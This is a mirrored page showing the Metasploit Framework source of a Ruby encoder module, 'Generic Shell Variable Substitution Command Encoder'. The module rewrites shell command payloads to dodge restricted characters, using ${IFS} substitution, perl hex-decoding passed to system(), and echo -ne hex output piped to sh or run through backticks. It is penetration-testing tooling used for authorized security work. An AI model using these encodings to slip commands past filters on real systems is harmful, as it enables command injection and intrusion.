CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/encoders/cmd/generic_sh.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Encoder
7
8
# Has some issues, but overall it's pretty good
9
Rank = ManualRanking
10
11
def initialize
12
super(
13
'Name' => 'Generic Shell Variable Substitution Command Encoder',
14
'Description' => %q{
15
This encoder uses standard Bourne shell variable substitution
16
tricks to avoid commonly restricted characters.
17
},
18
'Author' => 'hdm',
19
'Arch' => ARCH_CMD,
20
'Platform' => 'unix')
21
end
22
23
24
#
25
# Encodes the payload
26
#
27
def encode_block(state, buf)
28
29
# Skip encoding for empty badchars
30
if(state.badchars.length == 0)
31
return buf
32
end
33
34
if (state.badchars.include?("-"))
35
# Then neither of the others will work. Get rid of spaces and hope
36
# for the best. This obviously won't work if the command already
37
# has other badchars in it, in which case we're basically screwed.
38
if (state.badchars.include?(" "))
39
buf.gsub!(/\s/, '${IFS}')
40
end
41
else
42
# Without an escape character we can't escape anything, so echo
43
# won't work. Try perl.
44
if (state.badchars.include?("\\"))
45
buf = encode_block_perl(state,buf)
46
else
47
buf = encode_block_bash_echo(state,buf)
48
end
49
end
50
51
return buf
52
end
53
54
#
55
# Uses the perl command to hex encode the command string
56
#
57
def encode_block_perl(state, buf)
58
59
hex = buf.unpack("H*")
60
cmd = 'perl -e '
61
qot = ',-:.=+!@#$%^&'
62
63
# Find a quoting character to use
64
state.badchars.unpack('C*') { |c| qot.delete(c.chr) }
65
66
# Throw an error if we ran out of quotes
67
raise EncodingError if qot.length == 0
68
69
sep = qot[0].chr
70
71
# Convert spaces to IFS...
72
if (state.badchars.include?(" "))
73
cmd.gsub!(/\s/, '${IFS}')
74
end
75
76
# Can we use single quotes to enclose the command string?
77
if (state.badchars.include?("'"))
78
79
if (state.badchars.match(/\(|\)/))
80
81
# No parenthesis...
82
raise EncodingError
83
end
84
85
cmd << "system\\(pack\\(qq#{sep}H\\*#{sep},qq#{sep}#{hex}#{sep}\\)\\)"
86
87
else
88
if (state.badchars.match(/\(|\)/))
89
if (state.badchars.include?(" "))
90
# No spaces allowed, no parenthesis, give up...
91
raise EncodingError
92
end
93
94
cmd << "'system pack qq#{sep}H*#{sep},qq#{sep}#{hex}#{sep}'"
95
else
96
cmd << "'system(pack(qq#{sep}H*#{sep},qq#{sep}#{hex}#{sep}))'"
97
end
98
end
99
100
return cmd
101
end
102
103
#
104
# Uses bash's echo -ne command to hex encode the command string
105
#
106
def encode_block_bash_echo(state, buf)
107
108
hex = ''
109
110
# Can we use single quotes to enclose the echo arguments?
111
if (state.badchars.include?("'"))
112
hex = buf.unpack('C*').collect { |c| "\\\\\\x%.2x" % c }.join
113
else
114
hex = "'" + buf.unpack('C*').collect { |c| "\\x%.2x" % c }.join + "'"
115
end
116
117
# Are pipe characters restricted?
118
if (state.badchars.include?("|"))
119
# How about backticks?
120
if (state.badchars.include?("`"))
121
# Last ditch effort, dollar paren
122
if (state.badchars.include?("$") or state.badchars.include?("("))
123
raise EncodingError
124
else
125
buf = "$(/bin/echo -ne #{hex})"
126
end
127
else
128
buf = "`/bin/echo -ne #{hex}`"
129
end
130
else
131
buf = "/bin/echo -ne #{hex}|sh"
132
end
133
134
# Remove spaces from the command string
135
if (state.badchars.include?(" "))
136
buf.gsub!(/\s/, '${IFS}')
137
end
138
139
return buf
140
end
141
end
142
143